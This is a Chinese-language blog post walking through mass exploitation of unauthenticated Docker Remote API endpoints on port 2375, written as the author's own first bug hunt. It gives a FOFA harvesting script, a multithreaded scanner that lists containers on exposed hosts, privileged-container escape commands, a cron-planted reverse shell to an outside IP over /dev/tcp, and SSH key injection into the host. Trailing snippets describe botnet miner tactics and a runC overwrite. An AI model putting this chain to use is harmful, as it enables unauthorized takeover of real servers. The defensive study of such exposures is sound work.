Docker-remoter-api渗透

一颗小胡椒2022-04-18 16:24:50

漏洞简介及危害

Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。Docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供。

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

声明及前提

第一次挖洞,靠这个漏洞拿下了南京某大公司的一台服务器已获得cnvd编号,就写这篇文章记录分享下。

本文仅供学习参考,如若保存下载后请在12小时内删除,不然后果自负。不得传播,商用以及利用文中技术进行非法活动,否则后果自负。严禁转载,否则一切后果自负。

实战

直接fofa搜docker 协议 端口 2375的资产全爬下来 然后用脚本检测。

fofa爬取脚本

#encoding=utf-8import requestsimport base64import sys  email = r'xxx@qq.com'api_key = r'fofa_api_key'api = r'https://fofa.info/api/v1/search/all?email={}&key={}&qbase64={}&size=10000'arg = sys.argv[1]print(arg)flag = base64.b64encode(arg.encode()).decode()response = requests.get(api.format(email,api_key,flag))results = response.json()["results"]print("共搜索到{}条记录!".format(len(results)))file_name = r"{}.txt".format(arg)f = open(file_name,"a")for addr in results:    f.write(addr[0]+'')f.close()

2375端口检测脚本

# python3# by 5wimmingimport queueimport threadingimport timeimport requestsimport jsonimport docker thread_lock = threading.Lock()out_result = []  # 输出列表multi = 700  # 线程数量queueSize = 800  # 申请队列空间大小,值一般略大于multi的值input_file_path = "./port=2375.txt"  # 输入文件路径,每个ip一行output_file_path = './result.txt' #输出文件路径ports = ['2375']  # 扫描端口wait_time = 5  # 文件线程准备时间(s),默认1s,若需要读取的文件大小大于10M可增加至5s以上,文件越大设置的时间理论上越长  def read_file():    with open(input_file_path, 'r') as fp:        file_data = fp.readlines()    data_list = file_data    data_length = len(data_list)    flag_xy = 0    while flag_xy != data_length:        while (not workQueue.full()) and (flag_xy != data_length):            workQueue.put(data_list[flag_xy])            flag_xy += 1        continue    print("文件内容放入队列完成")  def multi_start_main():    while not workQueue.empty():        file_line_api = workQueue.get()        custom_def(file_line_api)  def http_get(url):    response = requests.get(url)    return response.text  def get_version(host, port):    url = "http://"+host+":"+port+"/version"    ret = json.loads(http_get(url))    client_api_version = ret['ApiVersion']    return client_api_version  def get_container(host, port, docker_version):    cli = Client(base_url='tcp://'+host+':'+port, version=docker_version)    return cli  def custom_def(file_line_api):    ip = file_line_api.strip()    result = ''    for port in ports:        try:            docker_version = get_version(ip, port)            result = ip + '\t' + port + '\tversion:' + docker_version            docker_containers = get_container(ip, port, docker_version)            result += '\t' + str(docker_containers.containers(all=True))        except Exception as e:            print(ip, e)        if result:            print('success:', result)            with thread_lock:                out_result.append(result)            break  if __name__ == '__main__':    threads = []    workQueue = queue.Queue(queueSize)    fileThread = threading.Thread(target=read_file)    fileThread.start()    print("文件读取线程准备时间%ss" % wait_time)    time.sleep(wait_time)    for i in range(multi+1):        thread = threading.Thread(target=multi_start_main)        thread.start()        threads.append(thread)    for t in threads:        t.join()    fileThread.join()    with open(output_file_path, 'w') as fw:        fw.writelines(out_result)    print("主线程结束,任务完成")

docker远程连接列出镜像目录

可以发现2375端口开启,并且是不需要授权访问的。

docker逃逸

前提:靶机服务器需要能执行docker run指令。

sudo docker run -itd --privileged=true ubuntu:latest /bin/bash

逃逸指令

新建一个目录:mkdir /test挂载磁盘到新建目录:mount /dev/vda1 /test切换根目录:chroot /test

至此已经可以控制宿主机了,但是关于反弹shell以及写入自己的ssh密钥这个不一定可以直接操作,由于风险原因我不会进行反弹shell和ssh密钥写入,方法如下:

写计划任务,反弹宿主机Shell。echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root 如果要写SSH的话,需要挂载宿主机的root目录到容器。docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys然后ssh 私钥登录。写计划任务,反弹宿主机Shell。echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root 如果要写SSH的话,需要挂载宿主机的root目录到容器。docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys然后ssh 私钥登录。

额外逃逸思路

如果上面的逃逸办法用不了,服务器上有用docker挂载web服务可以尝试进入容器上webshell变相拿下。

dockerssh
本作品采用《CC 协议》,转载必须注明作者和本文链接
2020年9月 ,AWAKE Security的Patrick Olsen调查并报告了仅携带XMR Miner有效载荷的僵尸网络的早期版本。僵尸网络目前正在使用Weblogic漏洞进行传播。杀死正在运行的进程,潜在地争夺挖掘工具并消除EDR。shellscript xms通过curl从bash传递到bash,以防万一失败,使用wget对其进行提取,执行和删除,以防止分析。使用base64编码命令来获取并执行python脚本,以避免检测和分析。第一组下载并运行Miner二进制文件和随附的shell脚本,维护持久性并下载并运行第二组python脚本。
此时,如果你使用的是Linux系统,可以使用mingw-w64-gcc编译器:CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll. 当RSSH服务器启用了Webserver之后,我们也可以使用下列命令进行编译:./server --webserver :3232. 这种情况适用于无文件注入的场景。WebhookRSSH服务器可以通过命令行终端接口并使用webhook命令发送原始HTTP请求。
Sysdig公司的研究人员深入研究了这个问题,试图评估这个问题的严重性,报告发现的镜像使用了某种恶意代码或机制。遗憾的是,Docker Hub公共库的规模不允许其操作人员每天仔细检查所有上传的内容,因此许多恶意镜像并没有被报告。Sysdig还注意到,大多数威胁分子只上传几个恶意镜像,所以即使删除了有风险的镜像、封杀了上传者,也不会对这个平台的整体威胁状况有显著影响。
Sysdig的安全研究者近日发现Docker Hub中暗藏着超过1600个恶意镜像,可实施的攻击包括加密货币挖矿、嵌入后门/机密信息、DNS劫持和网站重定向等。问题持续恶化Sysdig表示,到2022年,从Docker Hub提取的所有镜像中有61%来自公共存储库,比2021年的统计数据增加了15%,因此用户面临的风险正在上升。
事先准备一台linux主机,并且已安装好docker环境。centos安装docker环境如下:查询可安装版本:
在溯源反制过程中,会经常遇到一些有趣的玩法,这里给大家分享一种docker在特权模式下逃逸,并拿下主机权限的
事先准备一台linux主机,并且已安装好docker环境。centos安装docker环境如下:查询可安装版本:
"我的心田本空无一物,你来之后万物生长,你走之后,一片荒芜"?--《隐入尘烟》一、前言最近有个朋友准备搭建一个CTF比赛靶场在学校搞一个CTF比赛,让我帮他参考参考。说实话,自己也没有整过,自己就先实验呗,搜集了大量的资料最终是搞成了,就差朋友买个服务器,和域名挂上了,这期间经历过了大量的报错,因此,想记录下来,为兄弟们指一条明道,避免出错。
Bleeping Computer 网站披露,Lemon_Duck 僵尸网络运营商正在进行大规模 Monero 加密挖矿活动,Linux 服务器上的 Docker API 成为其主要攻击目标。
比如目标文件是/bin/bash,将它替换成指定解释器路径为#!/proc/self/exe的可执行脚本,在容器中执行/bin/bash时将执行/proc/self/exe,它指向host上的runC文件。
一颗小胡椒
暂无描述